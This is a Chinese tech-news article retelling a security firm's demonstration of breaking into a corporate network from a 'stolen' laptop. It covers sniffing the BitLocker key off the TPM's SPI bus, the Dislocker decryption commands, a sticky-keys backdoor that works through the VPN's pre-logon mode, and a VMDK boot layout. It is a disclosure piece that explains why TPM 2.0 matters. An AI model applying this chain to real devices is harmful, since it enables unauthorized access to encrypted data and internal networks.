来源:量子位
工作电脑被偷的 30 分钟后,公司内网就进人了。
不仅拥有活动目录上的基本特权,还能在内部文件中来去自如!
可我那保护重重的 Windows 防火墙呢?
我那可以生成和存储各种密钥的 TPM 芯片呢?
黑客到底是怎么越过这些阻碍的?
绕过 TPM
好,现在请出我们的受害者——
一台 Windows 10 系统的联想笔记本电脑。
使用的是微软的 BitLocker,通过微软的可信平台模块(TPM)加密。
这时,要提取驱动器解密密钥进而入侵内网,就需要从 TPM 入手:
不过这是一种结构高度复杂,且含有许多篡改检测和保护的硬件。直接攻击可能会花费大量时间。
因此,我们可以关注一下 TPM 周围的依赖关系和内容。
比如……并没有使用TPM 2.0 标准的加密通信特性的 BitLocker。
这意味着从 TPM 发出的数据都是以明文形式游走在 SPI 总线上的,包括 Windows 的解密密钥。
如果能抓住那个密钥,就能够解密驱动器,获得 VPN 客户端配置的访问权限,进而有访问内部网络的可能。
可现在问题又来了。
要抓取 SPI 总线上的数据,就要将引线或探针连接到 TPM 的引脚上。
而这个 " 引脚 " 只有 0.25 毫米宽,0.5 毫米间隔,还是一个平放在芯片面上,难以用物理方式连接的伪 · 引脚。
那有没有更大,更好连接的呢?
还真有:
这是与 TPM 共享一个 SPI 总线的 CMOS 芯片,它的引脚非常清晰分明。
好,Saleae 逻辑分析仪,连接!
从预登陆功能的 " 后门 " 入侵
现在,探测仪已经连接,开始启动电脑。
我们现在需要在数以百万计的 SPI 字节中,找到一个正在被发送的 BitLocker 解密密钥。
先用高级分析器(HLA)进行事务分析:
经过几天的故障排除和比较之后,我们发现了 TPM 命令包的不同位掩码的组合,以及用于寻找密钥的不同正则表达式。
再用 bitlocker-spi-toolkit 解析这些请求,钥匙就拿到了!
接下来让我们用钥匙解密固盘(SSD),看看里面到底有什么。
拔出固态硬盘,安装在一个适配器上,然后插上:
在做了一个磁盘镜像之后,我们使用 Dislocker 工具集来解密驱动器:
$ echo daa0ccb7312 | xxd -r -p > ~/vmk
$ mkdir ~/ssd ~/mounted
$ sudo losetup -P /dev/loop6 /mnt/hgfs/ExternalSSD/ssd-dd.img
$ sudo fdisk -l /dev/loop6
Disk /dev/loop6: 238.47 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size ( logical/physical ) : 512 bytes / 512 bytes
I/O size ( minimum/optimal ) : 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: BD45F9A-F26D-41C9-8F1F-0F1EE74233
Device Start End Sectors Size Type
/dev/loop6p1 2048 1026047 1024000 500M Windows recovery environment
/dev/loop6p2 1026048 2050047 1024000 500M EFI System
/dev/loop6p3 2050048 2312191 262144 128M Microsoft reserved
/dev/loop6p4 2312192 500117503 497805312 237.4G Microsoft basic data
$ sudo dislocker-fuse -K ~/vmk /dev/loop6p4 -- ~/ssd
$ sudo ntfs-3g ~/ssd/dislocker-file ~/mounted
$ ls -al ~/mounted
total 19156929
drwxrwxrwx 1 root root 8192 May 5 19:00 .
drwxrwxrwt 17 root root 4096 Jun 15 09:43 ..
drwxrwxrwx 1 root root 0 May 6 14:29 '$Recycle.Bin'
drwxrwxrwx 1 root root 0 May 4 10:55 '$WinREAgent'
-rwxrwxrwx 1 root root 413738 Dec 7 2019 bootmgr
-rwxrwxrwx 1 root root 1 Dec 7 2019 BOOTNXT
lrwxrwxrwx 2 root root 15 May 4 11:18 'Documents and Settings' -> ~/mounted/Users
现在就可以离线访问内容的明文了!
此外,我们还发现了正在使用的 VPN 客户端 : Palo Alto 的全球保护(GP)。
GP 有一项预登陆(Pre-logon)功能,会对端点(而不是用户)进行身份验证,并允许域脚本或其他任务在端点启动后立即运行。
这样,我们就可以使用粘滞键后门(Sticky Keys Backdoor),在不需要任何凭证的的前提下访问 VPN。
有了后门访问之后,我们需要将解密后的 Windows 映像引导为虚拟机。
因此,先创建一个 VMDK,将解密 BitLocker 分区和加密映像的起始扇区映射到适当的 VM 分区:
# Disk DescriptorFile
version=1
CID=19362586
parentCID=ffffffff
createType="partitionedDevice"
# Extent description
RW 63 FLAT "ssd-dd.img" 0
RW 1985 FLAT "ssd-dd.img" 2048
RW 1024000 ZERO
RW 1024000 FLAT "ssd-dd.img" 1026048
RW 262144 FLAT "ssd-dd.img" 2050048
# This is the 4th partition where the encrypted bitlocker drive was
RW 497805312 FLAT "dislocker2-file" 0
RW 655 ZERO
RW 33 FLAT "ssd-dd.img" 63
ddb.virtualHWVersion = "4"
ddb.adapterType="ide"
ddb.geometry.cylinders="16383"
ddb.geometry.heads="16"
ddb.geometry.sectors="63"
ddb.uuid.image="43e1e-5c24-46cc-bcec-daad3d500"
ddb.uuid.parent="00000000-0000-0000-0000-000000000000"
ddb.uuid.modification="8d285-ad86-4227-86d4-ec168b6b3"
ddb.uuid.parentmodification="00000000-0000-0000-0000-000000000000"
ddb.geometry.biosCylinders="1024"
ddb.geometry.biosHeads="255"
ddb.geometry.biosSectors="63"
再使用 VMDK 和粘滞键后门的 WIndows 镜像,创建并启动虚拟机,按下 WIndows + U:
△全球保护状态:已连接
然后就可以在域中运行基本的 SMB 命令了。
比如查询如用户、组、系统等网域控制器的各种类型的领域信息。
或者列出并查看中小企业内部共享的文件内容:
还可以通过访问这个电脑帐户来发动内部攻击。
比如将一个文件写入内部文件服务器,并将其读回:
至此,我们已经获得了内部网络的访问权限——
包括在活动目录上的基本特权,以及对内部文件共享的访问权限。
而以此开始做 LNK 攻击或 trojaned pdf 等入侵,最终致使数据泄露也就有了可能。
Windows11 更新强制要求设备有 TPM2.0当然,上述的所有过程都不是真的黑客攻击。
而是美国的一家网络安全公司Dolos Group面对客户疑惑的回应:
你能用偷来的笔记本干什么?能进入我们的内网吗?
因此,Dolos Group 团队就展示了如何使用一台 " 被盗 " 的公司笔记本电脑,将几个漏洞链接在一起,最后进入公司内网。
而让人注意的是,Dolos Group 团队在入侵的最开始就提到:
BitLocker 没有使用 TPM 2.0 标准的加密通信特性。
这不禁让人想到了 Windows11 更新时强制要求设备有 TPM2.0 的措施:
所以,2.0 版本对比 1.X 标准都增加了哪些功能?
简单来说,TPM 2.0 大幅增加了模块内置加密算法的种类和安全性。
因此兼容的软件和场景更多,生成的密码更长更难破解。
结合上文对适用了旧版本 TPM 的电脑的入侵,微软会将 TPM2.0 列入 Windows 11 的必须硬件配置列表中,似乎也就不难理解了。
不过,也有网友对此表示:
为了避免这种问题,你应该有一个必要的外部密码来解锁硬盘,而非 TPM。
参考链接:
[ 1 ] https://dolosgroup.io/blog/2021/7/9/from-stolen-laptop-to-inside-the-company-network
[ 2 ] https://news.ycombinator.com/item?id=27986316
团队网站:
https://dolosgroup.io/